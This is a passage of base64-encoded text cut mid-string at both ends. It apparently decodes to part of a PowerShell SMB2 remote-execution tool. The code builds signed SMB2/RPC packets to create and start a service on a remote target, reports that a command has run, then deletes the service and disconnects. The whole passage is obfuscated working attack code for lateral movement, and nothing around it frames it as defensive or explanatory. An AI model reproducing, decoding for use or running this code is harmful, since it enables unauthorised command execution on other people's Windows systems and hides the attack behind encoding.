hZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNU3RhcnRTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU0NNX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MTMsMHgwMCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlRyeWluZyB0byBleGVjdXRlIGNvbW1hbmQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEzMi4uMTM1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMTFdKSAtZXEgJzFkLTA0LTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBzZXJ2aWNlICRTTUJfc2VydmljZSBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDItMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSAkU01CX3NlcnZpY2UgZmFpbGVkIHRvIHN0YXJ0IG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA5LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVyAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDUmVxdWVzdCAweDAzICRTQ01fZGF0YS5sZW5ndGggMCAwIDB4MDEsMHgwMCwweDAwLDB4MDAgMHgwMCwweDAwIDB4MDIsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CMl9kYXRhLkxlbmd0aCArICRTQ01fZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDENCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVNlcnZpY2VIYW5kbGUnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSAtZXEgMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTZXJ2aWNlICRTTUJfc2VydmljZSBkZWxldGVkIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAyMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xvc2Vfc2VydmljZV9oYW5kbGVfc3RhZ2UrKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0Nsb3NlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTUNsb3NlU2VydmljZUhhbmRsZSAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdDbG9zZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA2LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyQ2xvc2VSZXF1ZXN0ICRTTUJfZmlsZV9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRITUFDX1NIQTI1Ni5Db21wdXRlSGFzaCgkU01CMl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ25hdHVyZSA9ICRTTUIyX3NpZ25hdHVyZVswLi4xNV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQjJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnVHJlZURpc2Nvbm5lY3QnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDQsMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2t